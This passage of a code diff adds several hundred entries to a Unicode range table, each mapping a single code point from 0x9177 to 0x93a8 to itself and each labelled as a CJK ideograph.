+ [0x9177, 0x9177], /* CJK Ideograph */
+ [0x9178, 0x9178], /* CJK Ideograph */
+ [0x9179, 0x9179], /* CJK Ideograph */
+ [0x917a, 0x917a], /* CJK Ideograph */
+ [0x917b, 0x917b], /* CJK Ideograph */
+ [0x917c, 0x917c], /* CJK Ideograph */
+ [0x917d, 0x917d], /* CJK Ideograph */
+ [0x917e, 0x917e], /* CJK Ideograph */
+ [0x917f, 0x917f], /* CJK Ideograph */
+ [0x9180, 0x9180], /* CJK Ideograph */
+ [0x9181, 0x9181], /* CJK Ideograph */
+ [0x9182, 0x9182], /* CJK Ideograph */
+ [0x9183, 0x9183], /* CJK Ideograph */
+ [0x9184, 0x9184], /* CJK Ideograph */
+ [0x9185, 0x9185], /* CJK Ideograph */
+ [0x9186, 0x9186], /* CJK Ideograph */
+ [0x9187, 0x9187], /* CJK Ideograph */
+ [0x9188, 0x9188], /* CJK Ideograph */
+ [0x9189, 0x9189], /* CJK Ideograph */
+ [0x918a, 0x918a], /* CJK Ideograph */
+ [0x918b, 0x918b], /* CJK Ideograph */
+ [0x918c, 0x918c], /* CJK Ideograph */
+ [0x918d, 0x918d], /* CJK Ideograph */
+ [0x918e, 0x918e], /* CJK Ideograph */
+ [0x918f, 0x918f], /* CJK Ideograph */
+ [0x9190, 0x9190], /* CJK Ideograph */
+ [0x9191, 0x9191], /* CJK Ideograph */
+ [0x9192, 0x9192], /* CJK Ideograph */
+ [0x9193, 0x9193], /* CJK Ideograph */
+ [0x9194, 0x9194], /* CJK Ideograph */
+ [0x9195, 0x9195], /* CJK Ideograph */
+ [0x9196, 0x9196], /* CJK Ideograph */
+ [0x9197, 0x9197], /* CJK Ideograph */
+ [0x9198, 0x9198], /* CJK Ideograph */
+ [0x9199, 0x9199], /* CJK Ideograph */
+ [0x919a, 0x919a], /* CJK Ideograph */
+ [0x919b, 0x919b], /* CJK Ideograph */
+ [0x919c, 0x919c], /* CJK Ideograph */
+ [0x919d, 0x919d], /* CJK Ideograph */
+ [0x919e, 0x919e], /* CJK Ideograph */
+ [0x919f, 0x919f], /* CJK Ideograph */
+ [0x91a0, 0x91a0], /* CJK Ideograph */
+ [0x91a1, 0x91a1], /* CJK Ideograph */
+ [0x91a2, 0x91a2], /* CJK Ideograph */
+ [0x91a3, 0x91a3], /* CJK Ideograph */
+ [0x91a4, 0x91a4], /* CJK Ideograph */
+ [0x91a5, 0x91a5], /* CJK Ideograph */
+ [0x91a6, 0x91a6], /* CJK Ideograph */
+ [0x91a7, 0x91a7], /* CJK Ideograph */
+ [0x91a8, 0x91a8], /* CJK Ideograph */
+ [0x91a9, 0x91a9], /* CJK Ideograph */
+ [0x91aa, 0x91aa], /* CJK Ideograph */
+ [0x91ab, 0x91ab], /* CJK Ideograph */
+ [0x91ac, 0x91ac], /* CJK Ideograph */
+ [0x91ad, 0x91ad], /* CJK Ideograph */
+ [0x91ae, 0x91ae], /* CJK Ideograph */
+ [0x91af, 0x91af], /* CJK Ideograph */
+ [0x91b0, 0x91b0], /* CJK Ideograph */
+ [0x91b1, 0x91b1], /* CJK Ideograph */
+ [0x91b2, 0x91b2], /* CJK Ideograph */
+ [0x91b3, 0x91b3], /* CJK Ideograph */
+ [0x91b4, 0x91b4], /* CJK Ideograph */
+ [0x91b5, 0x91b5], /* CJK Ideograph */
+ [0x91b6, 0x91b6], /* CJK Ideograph */
+ [0x91b7, 0x91b7], /* CJK Ideograph */
+ [0x91b8, 0x91b8], /* CJK Ideograph */
+ [0x91b9, 0x91b9], /* CJK Ideograph */
+ [0x91ba, 0x91ba], /* CJK Ideograph */
+ [0x91bb, 0x91bb], /* CJK Ideograph */
+ [0x91bc, 0x91bc], /* CJK Ideograph */
+ [0x91bd, 0x91bd], /* CJK Ideograph */
+ [0x91be, 0x91be], /* CJK Ideograph */
+ [0x91bf, 0x91bf], /* CJK Ideograph */
+ [0x91c0, 0x91c0], /* CJK Ideograph */
+ [0x91c1, 0x91c1], /* CJK Ideograph */
+ [0x91c2, 0x91c2], /* CJK Ideograph */
+ [0x91c3, 0x91c3], /* CJK Ideograph */
+ [0x91c4, 0x91c4], /* CJK Ideograph */
+ [0x91c5, 0x91c5], /* CJK Ideograph */
+ [0x91c6, 0x91c6], /* CJK Ideograph */
+ [0x91c7, 0x91c7], /* CJK Ideograph */
+ [0x91c8, 0x91c8], /* CJK Ideograph */
+ [0x91c9, 0x91c9], /* CJK Ideograph */
+ [0x91ca, 0x91ca], /* CJK Ideograph */
+ [0x91cb, 0x91cb], /* CJK Ideograph */
+ [0x91cc, 0x91cc], /* CJK Ideograph */
+ [0x91cd, 0x91cd], /* CJK Ideograph */
+ [0x91ce, 0x91ce], /* CJK Ideograph */
+ [0x91cf, 0x91cf], /* CJK Ideograph */
+ [0x91d0, 0x91d0], /* CJK Ideograph */
+ [0x91d1, 0x91d1], /* CJK Ideograph */
+ [0x91d2, 0x91d2], /* CJK Ideograph */
+ [0x91d3, 0x91d3], /* CJK Ideograph */
+ [0x91d4, 0x91d4], /* CJK Ideograph */
+ [0x91d5, 0x91d5], /* CJK Ideograph */
+ [0x91d6, 0x91d6], /* CJK Ideograph */
+ [0x91d7, 0x91d7], /* CJK Ideograph */
+ [0x91d8, 0x91d8], /* CJK Ideograph */
+ [0x91d9, 0x91d9], /* CJK Ideograph */
+ [0x91da, 0x91da], /* CJK Ideograph */
+ [0x91db, 0x91db], /* CJK Ideograph */
+ [0x91dc, 0x91dc], /* CJK Ideograph */
+ [0x91dd, 0x91dd], /* CJK Ideograph */
+ [0x91de, 0x91de], /* CJK Ideograph */
+ [0x91df, 0x91df], /* CJK Ideograph */
+ [0x91e0, 0x91e0], /* CJK Ideograph */
+ [0x91e1, 0x91e1], /* CJK Ideograph */
+ [0x91e2, 0x91e2], /* CJK Ideograph */
+ [0x91e3, 0x91e3], /* CJK Ideograph */
+ [0x91e4, 0x91e4], /* CJK Ideograph */
+ [0x91e5, 0x91e5], /* CJK Ideograph */
+ [0x91e6, 0x91e6], /* CJK Ideograph */
+ [0x91e7, 0x91e7], /* CJK Ideograph */
+ [0x91e8, 0x91e8], /* CJK Ideograph */
+ [0x91e9, 0x91e9], /* CJK Ideograph */
+ [0x91ea, 0x91ea], /* CJK Ideograph */
+ [0x91eb, 0x91eb], /* CJK Ideograph */
+ [0x91ec, 0x91ec], /* CJK Ideograph */
+ [0x91ed, 0x91ed], /* CJK Ideograph */
+ [0x91ee, 0x91ee], /* CJK Ideograph */
+ [0x91ef, 0x91ef], /* CJK Ideograph */
+ [0x91f0, 0x91f0], /* CJK Ideograph */
+ [0x91f1, 0x91f1], /* CJK Ideograph */
+ [0x91f2, 0x91f2], /* CJK Ideograph */
+ [0x91f3, 0x91f3], /* CJK Ideograph */
+ [0x91f4, 0x91f4], /* CJK Ideograph */
+ [0x91f5, 0x91f5], /* CJK Ideograph */
+ [0x91f6, 0x91f6], /* CJK Ideograph */
+ [0x91f7, 0x91f7], /* CJK Ideograph */
+ [0x91f8, 0x91f8], /* CJK Ideograph */
+ [0x91f9, 0x91f9], /* CJK Ideograph */
+ [0x91fa, 0x91fa], /* CJK Ideograph */
+ [0x91fb, 0x91fb], /* CJK Ideograph */
+ [0x91fc, 0x91fc], /* CJK Ideograph */
+ [0x91fd, 0x91fd], /* CJK Ideograph */
+ [0x91fe, 0x91fe], /* CJK Ideograph */
+ [0x91ff, 0x91ff], /* CJK Ideograph */
+ [0x9200, 0x9200], /* CJK Ideograph */
+ [0x9201, 0x9201], /* CJK Ideograph */
+ [0x9202, 0x9202], /* CJK Ideograph */
+ [0x9203, 0x9203], /* CJK Ideograph */
+ [0x9204, 0x9204], /* CJK Ideograph */
+ [0x9205, 0x9205], /* CJK Ideograph */
+ [0x9206, 0x9206], /* CJK Ideograph */
+ [0x9207, 0x9207], /* CJK Ideograph */
+ [0x9208, 0x9208], /* CJK Ideograph */
+ [0x9209, 0x9209], /* CJK Ideograph */
+ [0x920a, 0x920a], /* CJK Ideograph */
+ [0x920b, 0x920b], /* CJK Ideograph */
+ [0x920c, 0x920c], /* CJK Ideograph */
+ [0x920d, 0x920d], /* CJK Ideograph */
+ [0x920e, 0x920e], /* CJK Ideograph */
+ [0x920f, 0x920f], /* CJK Ideograph */
+ [0x9210, 0x9210], /* CJK Ideograph */
+ [0x9211, 0x9211], /* CJK Ideograph */
+ [0x9212, 0x9212], /* CJK Ideograph */
+ [0x9213, 0x9213], /* CJK Ideograph */
+ [0x9214, 0x9214], /* CJK Ideograph */
+ [0x9215, 0x9215], /* CJK Ideograph */
+ [0x9216, 0x9216], /* CJK Ideograph */
+ [0x9217, 0x9217], /* CJK Ideograph */
+ [0x9218, 0x9218], /* CJK Ideograph */
+ [0x9219, 0x9219], /* CJK Ideograph */
+ [0x921a, 0x921a], /* CJK Ideograph */
+ [0x921b, 0x921b], /* CJK Ideograph */
+ [0x921c, 0x921c], /* CJK Ideograph */
+ [0x921d, 0x921d], /* CJK Ideograph */
+ [0x921e, 0x921e], /* CJK Ideograph */
+ [0x921f, 0x921f], /* CJK Ideograph */
+ [0x9220, 0x9220], /* CJK Ideograph */
+ [0x9221, 0x9221], /* CJK Ideograph */
+ [0x9222, 0x9222], /* CJK Ideograph */
+ [0x9223, 0x9223], /* CJK Ideograph */
+ [0x9224, 0x9224], /* CJK Ideograph */
+ [0x9225, 0x9225], /* CJK Ideograph */
+ [0x9226, 0x9226], /* CJK Ideograph */
+ [0x9227, 0x9227], /* CJK Ideograph */
+ [0x9228, 0x9228], /* CJK Ideograph */
+ [0x9229, 0x9229], /* CJK Ideograph */
+ [0x922a, 0x922a], /* CJK Ideograph */
+ [0x922b, 0x922b], /* CJK Ideograph */
+ [0x922c, 0x922c], /* CJK Ideograph */
+ [0x922d, 0x922d], /* CJK Ideograph */
+ [0x922e, 0x922e], /* CJK Ideograph */
+ [0x922f, 0x922f], /* CJK Ideograph */
+ [0x9230, 0x9230], /* CJK Ideograph */
+ [0x9231, 0x9231], /* CJK Ideograph */
+ [0x9232, 0x9232], /* CJK Ideograph */
+ [0x9233, 0x9233], /* CJK Ideograph */
+ [0x9234, 0x9234], /* CJK Ideograph */
+ [0x9235, 0x9235], /* CJK Ideograph */
+ [0x9236, 0x9236], /* CJK Ideograph */
+ [0x9237, 0x9237], /* CJK Ideograph */
+ [0x9238, 0x9238], /* CJK Ideograph */
+ [0x9239, 0x9239], /* CJK Ideograph */
+ [0x923a, 0x923a], /* CJK Ideograph */
+ [0x923b, 0x923b], /* CJK Ideograph */
+ [0x923c, 0x923c], /* CJK Ideograph */
+ [0x923d, 0x923d], /* CJK Ideograph */
+ [0x923e, 0x923e], /* CJK Ideograph */
+ [0x923f, 0x923f], /* CJK Ideograph */
+ [0x9240, 0x9240], /* CJK Ideograph */
+ [0x9241, 0x9241], /* CJK Ideograph */
+ [0x9242, 0x9242], /* CJK Ideograph */
+ [0x9243, 0x9243], /* CJK Ideograph */
+ [0x9244, 0x9244], /* CJK Ideograph */
+ [0x9245, 0x9245], /* CJK Ideograph */
+ [0x9246, 0x9246], /* CJK Ideograph */
+ [0x9247, 0x9247], /* CJK Ideograph */
+ [0x9248, 0x9248], /* CJK Ideograph */
+ [0x9249, 0x9249], /* CJK Ideograph */
+ [0x924a, 0x924a], /* CJK Ideograph */
+ [0x924b, 0x924b], /* CJK Ideograph */
+ [0x924c, 0x924c], /* CJK Ideograph */
+ [0x924d, 0x924d], /* CJK Ideograph */
+ [0x924e, 0x924e], /* CJK Ideograph */
+ [0x924f, 0x924f], /* CJK Ideograph */
+ [0x9250, 0x9250], /* CJK Ideograph */
+ [0x9251, 0x9251], /* CJK Ideograph */
+ [0x9252, 0x9252], /* CJK Ideograph */
+ [0x9253, 0x9253], /* CJK Ideograph */
+ [0x9254, 0x9254], /* CJK Ideograph */
+ [0x9255, 0x9255], /* CJK Ideograph */
+ [0x9256, 0x9256], /* CJK Ideograph */
+ [0x9257, 0x9257], /* CJK Ideograph */
+ [0x9258, 0x9258], /* CJK Ideograph */
+ [0x9259, 0x9259], /* CJK Ideograph */
+ [0x925a, 0x925a], /* CJK Ideograph */
+ [0x925b, 0x925b], /* CJK Ideograph */
+ [0x925c, 0x925c], /* CJK Ideograph */
+ [0x925d, 0x925d], /* CJK Ideograph */
+ [0x925e, 0x925e], /* CJK Ideograph */
+ [0x925f, 0x925f], /* CJK Ideograph */
+ [0x9260, 0x9260], /* CJK Ideograph */
+ [0x9261, 0x9261], /* CJK Ideograph */
+ [0x9262, 0x9262], /* CJK Ideograph */
+ [0x9263, 0x9263], /* CJK Ideograph */
+ [0x9264, 0x9264], /* CJK Ideograph */
+ [0x9265, 0x9265], /* CJK Ideograph */
+ [0x9266, 0x9266], /* CJK Ideograph */
+ [0x9267, 0x9267], /* CJK Ideograph */
+ [0x9268, 0x9268], /* CJK Ideograph */
+ [0x9269, 0x9269], /* CJK Ideograph */
+ [0x926a, 0x926a], /* CJK Ideograph */
+ [0x926b, 0x926b], /* CJK Ideograph */
+ [0x926c, 0x926c], /* CJK Ideograph */
+ [0x926d, 0x926d], /* CJK Ideograph */
+ [0x926e, 0x926e], /* CJK Ideograph */
+ [0x926f, 0x926f], /* CJK Ideograph */
+ [0x9270, 0x9270], /* CJK Ideograph */
+ [0x9271, 0x9271], /* CJK Ideograph */
+ [0x9272, 0x9272], /* CJK Ideograph */
+ [0x9273, 0x9273], /* CJK Ideograph */
+ [0x9274, 0x9274], /* CJK Ideograph */
+ [0x9275, 0x9275], /* CJK Ideograph */
+ [0x9276, 0x9276], /* CJK Ideograph */
+ [0x9277, 0x9277], /* CJK Ideograph */
+ [0x9278, 0x9278], /* CJK Ideograph */
+ [0x9279, 0x9279], /* CJK Ideograph */
+ [0x927a, 0x927a], /* CJK Ideograph */
+ [0x927b, 0x927b], /* CJK Ideograph */
+ [0x927c, 0x927c], /* CJK Ideograph */
+ [0x927d, 0x927d], /* CJK Ideograph */
+ [0x927e, 0x927e], /* CJK Ideograph */
+ [0x927f, 0x927f], /* CJK Ideograph */
+ [0x9280, 0x9280], /* CJK Ideograph */
+ [0x9281, 0x9281], /* CJK Ideograph */
+ [0x9282, 0x9282], /* CJK Ideograph */
+ [0x9283, 0x9283], /* CJK Ideograph */
+ [0x9284, 0x9284], /* CJK Ideograph */
+ [0x9285, 0x9285], /* CJK Ideograph */
+ [0x9286, 0x9286], /* CJK Ideograph */
+ [0x9287, 0x9287], /* CJK Ideograph */
+ [0x9288, 0x9288], /* CJK Ideograph */
+ [0x9289, 0x9289], /* CJK Ideograph */
+ [0x928a, 0x928a], /* CJK Ideograph */
+ [0x928b, 0x928b], /* CJK Ideograph */
+ [0x928c, 0x928c], /* CJK Ideograph */
+ [0x928d, 0x928d], /* CJK Ideograph */
+ [0x928e, 0x928e], /* CJK Ideograph */
+ [0x928f, 0x928f], /* CJK Ideograph */
+ [0x9290, 0x9290], /* CJK Ideograph */
+ [0x9291, 0x9291], /* CJK Ideograph */
+ [0x9292, 0x9292], /* CJK Ideograph */
+ [0x9293, 0x9293], /* CJK Ideograph */
+ [0x9294, 0x9294], /* CJK Ideograph */
+ [0x9295, 0x9295], /* CJK Ideograph */
+ [0x9296, 0x9296], /* CJK Ideograph */
+ [0x9297, 0x9297], /* CJK Ideograph */
+ [0x9298, 0x9298], /* CJK Ideograph */
+ [0x9299, 0x9299], /* CJK Ideograph */
+ [0x929a, 0x929a], /* CJK Ideograph */
+ [0x929b, 0x929b], /* CJK Ideograph */
+ [0x929c, 0x929c], /* CJK Ideograph */
+ [0x929d, 0x929d], /* CJK Ideograph */
+ [0x929e, 0x929e], /* CJK Ideograph */
+ [0x929f, 0x929f], /* CJK Ideograph */
+ [0x92a0, 0x92a0], /* CJK Ideograph */
+ [0x92a1, 0x92a1], /* CJK Ideograph */
+ [0x92a2, 0x92a2], /* CJK Ideograph */
+ [0x92a3, 0x92a3], /* CJK Ideograph */
+ [0x92a4, 0x92a4], /* CJK Ideograph */
+ [0x92a5, 0x92a5], /* CJK Ideograph */
+ [0x92a6, 0x92a6], /* CJK Ideograph */
+ [0x92a7, 0x92a7], /* CJK Ideograph */
+ [0x92a8, 0x92a8], /* CJK Ideograph */
+ [0x92a9, 0x92a9], /* CJK Ideograph */
+ [0x92aa, 0x92aa], /* CJK Ideograph */
+ [0x92ab, 0x92ab], /* CJK Ideograph */
+ [0x92ac, 0x92ac], /* CJK Ideograph */
+ [0x92ad, 0x92ad], /* CJK Ideograph */
+ [0x92ae, 0x92ae], /* CJK Ideograph */
+ [0x92af, 0x92af], /* CJK Ideograph */
+ [0x92b0, 0x92b0], /* CJK Ideograph */
+ [0x92b1, 0x92b1], /* CJK Ideograph */
+ [0x92b2, 0x92b2], /* CJK Ideograph */
+ [0x92b3, 0x92b3], /* CJK Ideograph */
+ [0x92b4, 0x92b4], /* CJK Ideograph */
+ [0x92b5, 0x92b5], /* CJK Ideograph */
+ [0x92b6, 0x92b6], /* CJK Ideograph */
+ [0x92b7, 0x92b7], /* CJK Ideograph */
+ [0x92b8, 0x92b8], /* CJK Ideograph */
+ [0x92b9, 0x92b9], /* CJK Ideograph */
+ [0x92ba, 0x92ba], /* CJK Ideograph */
+ [0x92bb, 0x92bb], /* CJK Ideograph */
+ [0x92bc, 0x92bc], /* CJK Ideograph */
+ [0x92bd, 0x92bd], /* CJK Ideograph */
+ [0x92be, 0x92be], /* CJK Ideograph */
+ [0x92bf, 0x92bf], /* CJK Ideograph */
+ [0x92c0, 0x92c0], /* CJK Ideograph */
+ [0x92c1, 0x92c1], /* CJK Ideograph */
+ [0x92c2, 0x92c2], /* CJK Ideograph */
+ [0x92c3, 0x92c3], /* CJK Ideograph */
+ [0x92c4, 0x92c4], /* CJK Ideograph */
+ [0x92c5, 0x92c5], /* CJK Ideograph */
+ [0x92c6, 0x92c6], /* CJK Ideograph */
+ [0x92c7, 0x92c7], /* CJK Ideograph */
+ [0x92c8, 0x92c8], /* CJK Ideograph */
+ [0x92c9, 0x92c9], /* CJK Ideograph */
+ [0x92ca, 0x92ca], /* CJK Ideograph */
+ [0x92cb, 0x92cb], /* CJK Ideograph */
+ [0x92cc, 0x92cc], /* CJK Ideograph */
+ [0x92cd, 0x92cd], /* CJK Ideograph */
+ [0x92ce, 0x92ce], /* CJK Ideograph */
+ [0x92cf, 0x92cf], /* CJK Ideograph */
+ [0x92d0, 0x92d0], /* CJK Ideograph */
+ [0x92d1, 0x92d1], /* CJK Ideograph */
+ [0x92d2, 0x92d2], /* CJK Ideograph */
+ [0x92d3, 0x92d3], /* CJK Ideograph */
+ [0x92d4, 0x92d4], /* CJK Ideograph */
+ [0x92d5, 0x92d5], /* CJK Ideograph */
+ [0x92d6, 0x92d6], /* CJK Ideograph */
+ [0x92d7, 0x92d7], /* CJK Ideograph */
+ [0x92d8, 0x92d8], /* CJK Ideograph */
+ [0x92d9, 0x92d9], /* CJK Ideograph */
+ [0x92da, 0x92da], /* CJK Ideograph */
+ [0x92db, 0x92db], /* CJK Ideograph */
+ [0x92dc, 0x92dc], /* CJK Ideograph */
+ [0x92dd, 0x92dd], /* CJK Ideograph */
+ [0x92de, 0x92de], /* CJK Ideograph */
+ [0x92df, 0x92df], /* CJK Ideograph */
+ [0x92e0, 0x92e0], /* CJK Ideograph */
+ [0x92e1, 0x92e1], /* CJK Ideograph */
+ [0x92e2, 0x92e2], /* CJK Ideograph */
+ [0x92e3, 0x92e3], /* CJK Ideograph */
+ [0x92e4, 0x92e4], /* CJK Ideograph */
+ [0x92e5, 0x92e5], /* CJK Ideograph */
+ [0x92e6, 0x92e6], /* CJK Ideograph */
+ [0x92e7, 0x92e7], /* CJK Ideograph */
+ [0x92e8, 0x92e8], /* CJK Ideograph */
+ [0x92e9, 0x92e9], /* CJK Ideograph */
+ [0x92ea, 0x92ea], /* CJK Ideograph */
+ [0x92eb, 0x92eb], /* CJK Ideograph */
+ [0x92ec, 0x92ec], /* CJK Ideograph */
+ [0x92ed, 0x92ed], /* CJK Ideograph */
+ [0x92ee, 0x92ee], /* CJK Ideograph */
+ [0x92ef, 0x92ef], /* CJK Ideograph */
+ [0x92f0, 0x92f0], /* CJK Ideograph */
+ [0x92f1, 0x92f1], /* CJK Ideograph */
+ [0x92f2, 0x92f2], /* CJK Ideograph */
+ [0x92f3, 0x92f3], /* CJK Ideograph */
+ [0x92f4, 0x92f4], /* CJK Ideograph */
+ [0x92f5, 0x92f5], /* CJK Ideograph */
+ [0x92f6, 0x92f6], /* CJK Ideograph */
+ [0x92f7, 0x92f7], /* CJK Ideograph */
+ [0x92f8, 0x92f8], /* CJK Ideograph */
+ [0x92f9, 0x92f9], /* CJK Ideograph */
+ [0x92fa, 0x92fa], /* CJK Ideograph */
+ [0x92fb, 0x92fb], /* CJK Ideograph */
+ [0x92fc, 0x92fc], /* CJK Ideograph */
+ [0x92fd, 0x92fd], /* CJK Ideograph */
+ [0x92fe, 0x92fe], /* CJK Ideograph */
+ [0x92ff, 0x92ff], /* CJK Ideograph */
+ [0x9300, 0x9300], /* CJK Ideograph */
+ [0x9301, 0x9301], /* CJK Ideograph */
+ [0x9302, 0x9302], /* CJK Ideograph */
+ [0x9303, 0x9303], /* CJK Ideograph */
+ [0x9304, 0x9304], /* CJK Ideograph */
+ [0x9305, 0x9305], /* CJK Ideograph */
+ [0x9306, 0x9306], /* CJK Ideograph */
+ [0x9307, 0x9307], /* CJK Ideograph */
+ [0x9308, 0x9308], /* CJK Ideograph */
+ [0x9309, 0x9309], /* CJK Ideograph */
+ [0x930a, 0x930a], /* CJK Ideograph */
+ [0x930b, 0x930b], /* CJK Ideograph */
+ [0x930c, 0x930c], /* CJK Ideograph */
+ [0x930d, 0x930d], /* CJK Ideograph */
+ [0x930e, 0x930e], /* CJK Ideograph */
+ [0x930f, 0x930f], /* CJK Ideograph */
+ [0x9310, 0x9310], /* CJK Ideograph */
+ [0x9311, 0x9311], /* CJK Ideograph */
+ [0x9312, 0x9312], /* CJK Ideograph */
+ [0x9313, 0x9313], /* CJK Ideograph */
+ [0x9314, 0x9314], /* CJK Ideograph */
+ [0x9315, 0x9315], /* CJK Ideograph */
+ [0x9316, 0x9316], /* CJK Ideograph */
+ [0x9317, 0x9317], /* CJK Ideograph */
+ [0x9318, 0x9318], /* CJK Ideograph */
+ [0x9319, 0x9319], /* CJK Ideograph */
+ [0x931a, 0x931a], /* CJK Ideograph */
+ [0x931b, 0x931b], /* CJK Ideograph */
+ [0x931c, 0x931c], /* CJK Ideograph */
+ [0x931d, 0x931d], /* CJK Ideograph */
+ [0x931e, 0x931e], /* CJK Ideograph */
+ [0x931f, 0x931f], /* CJK Ideograph */
+ [0x9320, 0x9320], /* CJK Ideograph */
+ [0x9321, 0x9321], /* CJK Ideograph */
+ [0x9322, 0x9322], /* CJK Ideograph */
+ [0x9323, 0x9323], /* CJK Ideograph */
+ [0x9324, 0x9324], /* CJK Ideograph */
+ [0x9325, 0x9325], /* CJK Ideograph */
+ [0x9326, 0x9326], /* CJK Ideograph */
+ [0x9327, 0x9327], /* CJK Ideograph */
+ [0x9328, 0x9328], /* CJK Ideograph */
+ [0x9329, 0x9329], /* CJK Ideograph */
+ [0x932a, 0x932a], /* CJK Ideograph */
+ [0x932b, 0x932b], /* CJK Ideograph */
+ [0x932c, 0x932c], /* CJK Ideograph */
+ [0x932d, 0x932d], /* CJK Ideograph */
+ [0x932e, 0x932e], /* CJK Ideograph */
+ [0x932f, 0x932f], /* CJK Ideograph */
+ [0x9330, 0x9330], /* CJK Ideograph */
+ [0x9331, 0x9331], /* CJK Ideograph */
+ [0x9332, 0x9332], /* CJK Ideograph */
+ [0x9333, 0x9333], /* CJK Ideograph */
+ [0x9334, 0x9334], /* CJK Ideograph */
+ [0x9335, 0x9335], /* CJK Ideograph */
+ [0x9336, 0x9336], /* CJK Ideograph */
+ [0x9337, 0x9337], /* CJK Ideograph */
+ [0x9338, 0x9338], /* CJK Ideograph */
+ [0x9339, 0x9339], /* CJK Ideograph */
+ [0x933a, 0x933a], /* CJK Ideograph */
+ [0x933b, 0x933b], /* CJK Ideograph */
+ [0x933c, 0x933c], /* CJK Ideograph */
+ [0x933d, 0x933d], /* CJK Ideograph */
+ [0x933e, 0x933e], /* CJK Ideograph */
+ [0x933f, 0x933f], /* CJK Ideograph */
+ [0x9340, 0x9340], /* CJK Ideograph */
+ [0x9341, 0x9341], /* CJK Ideograph */
+ [0x9342, 0x9342], /* CJK Ideograph */
+ [0x9343, 0x9343], /* CJK Ideograph */
+ [0x9344, 0x9344], /* CJK Ideograph */
+ [0x9345, 0x9345], /* CJK Ideograph */
+ [0x9346, 0x9346], /* CJK Ideograph */
+ [0x9347, 0x9347], /* CJK Ideograph */
+ [0x9348, 0x9348], /* CJK Ideograph */
+ [0x9349, 0x9349], /* CJK Ideograph */
+ [0x934a, 0x934a], /* CJK Ideograph */
+ [0x934b, 0x934b], /* CJK Ideograph */
+ [0x934c, 0x934c], /* CJK Ideograph */
+ [0x934d, 0x934d], /* CJK Ideograph */
+ [0x934e, 0x934e], /* CJK Ideograph */
+ [0x934f, 0x934f], /* CJK Ideograph */
+ [0x9350, 0x9350], /* CJK Ideograph */
+ [0x9351, 0x9351], /* CJK Ideograph */
+ [0x9352, 0x9352], /* CJK Ideograph */
+ [0x9353, 0x9353], /* CJK Ideograph */
+ [0x9354, 0x9354], /* CJK Ideograph */
+ [0x9355, 0x9355], /* CJK Ideograph */
+ [0x9356, 0x9356], /* CJK Ideograph */
+ [0x9357, 0x9357], /* CJK Ideograph */
+ [0x9358, 0x9358], /* CJK Ideograph */
+ [0x9359, 0x9359], /* CJK Ideograph */
+ [0x935a, 0x935a], /* CJK Ideograph */
+ [0x935b, 0x935b], /* CJK Ideograph */
+ [0x935c, 0x935c], /* CJK Ideograph */
+ [0x935d, 0x935d], /* CJK Ideograph */
+ [0x935e, 0x935e], /* CJK Ideograph */
+ [0x935f, 0x935f], /* CJK Ideograph */
+ [0x9360, 0x9360], /* CJK Ideograph */
+ [0x9361, 0x9361], /* CJK Ideograph */
+ [0x9362, 0x9362], /* CJK Ideograph */
+ [0x9363, 0x9363], /* CJK Ideograph */
+ [0x9364, 0x9364], /* CJK Ideograph */
+ [0x9365, 0x9365], /* CJK Ideograph */
+ [0x9366, 0x9366], /* CJK Ideograph */
+ [0x9367, 0x9367], /* CJK Ideograph */
+ [0x9368, 0x9368], /* CJK Ideograph */
+ [0x9369, 0x9369], /* CJK Ideograph */
+ [0x936a, 0x936a], /* CJK Ideograph */
+ [0x936b, 0x936b], /* CJK Ideograph */
+ [0x936c, 0x936c], /* CJK Ideograph */
+ [0x936d, 0x936d], /* CJK Ideograph */
+ [0x936e, 0x936e], /* CJK Ideograph */
+ [0x936f, 0x936f], /* CJK Ideograph */
+ [0x9370, 0x9370], /* CJK Ideograph */
+ [0x9371, 0x9371], /* CJK Ideograph */
+ [0x9372, 0x9372], /* CJK Ideograph */
+ [0x9373, 0x9373], /* CJK Ideograph */
+ [0x9374, 0x9374], /* CJK Ideograph */
+ [0x9375, 0x9375], /* CJK Ideograph */
+ [0x9376, 0x9376], /* CJK Ideograph */
+ [0x9377, 0x9377], /* CJK Ideograph */
+ [0x9378, 0x9378], /* CJK Ideograph */
+ [0x9379, 0x9379], /* CJK Ideograph */
+ [0x937a, 0x937a], /* CJK Ideograph */
+ [0x937b, 0x937b], /* CJK Ideograph */
+ [0x937c, 0x937c], /* CJK Ideograph */
+ [0x937d, 0x937d], /* CJK Ideograph */
+ [0x937e, 0x937e], /* CJK Ideograph */
+ [0x937f, 0x937f], /* CJK Ideograph */
+ [0x9380, 0x9380], /* CJK Ideograph */
+ [0x9381, 0x9381], /* CJK Ideograph */
+ [0x9382, 0x9382], /* CJK Ideograph */
+ [0x9383, 0x9383], /* CJK Ideograph */
+ [0x9384, 0x9384], /* CJK Ideograph */
+ [0x9385, 0x9385], /* CJK Ideograph */
+ [0x9386, 0x9386], /* CJK Ideograph */
+ [0x9387, 0x9387], /* CJK Ideograph */
+ [0x9388, 0x9388], /* CJK Ideograph */
+ [0x9389, 0x9389], /* CJK Ideograph */
+ [0x938a, 0x938a], /* CJK Ideograph */
+ [0x938b, 0x938b], /* CJK Ideograph */
+ [0x938c, 0x938c], /* CJK Ideograph */
+ [0x938d, 0x938d], /* CJK Ideograph */
+ [0x938e, 0x938e], /* CJK Ideograph */
+ [0x938f, 0x938f], /* CJK Ideograph */
+ [0x9390, 0x9390], /* CJK Ideograph */
+ [0x9391, 0x9391], /* CJK Ideograph */
+ [0x9392, 0x9392], /* CJK Ideograph */
+ [0x9393, 0x9393], /* CJK Ideograph */
+ [0x9394, 0x9394], /* CJK Ideograph */
+ [0x9395, 0x9395], /* CJK Ideograph */
+ [0x9396, 0x9396], /* CJK Ideograph */
+ [0x9397, 0x9397], /* CJK Ideograph */
+ [0x9398, 0x9398], /* CJK Ideograph */
+ [0x9399, 0x9399], /* CJK Ideograph */
+ [0x939a, 0x939a], /* CJK Ideograph */
+ [0x939b, 0x939b], /* CJK Ideograph */
+ [0x939c, 0x939c], /* CJK Ideograph */
+ [0x939d, 0x939d], /* CJK Ideograph */
+ [0x939e, 0x939e], /* CJK Ideograph */
+ [0x939f, 0x939f], /* CJK Ideograph */
+ [0x93a0, 0x93a0], /* CJK Ideograph */
+ [0x93a1, 0x93a1], /* CJK Ideograph */
+ [0x93a2, 0x93a2], /* CJK Ideograph */
+ [0x93a3, 0x93a3], /* CJK Ideograph */
+ [0x93a4, 0x93a4], /* CJK Ideograph */
+ [0x93a5, 0x93a5], /* CJK Ideograph */
+ [0x93a6, 0x93a6], /* CJK Ideograph */
+ [0x93a7, 0x93a7], /* CJK Ideograph */
+ [0x93a8, 0x93a8], /* CJK Ideograph */
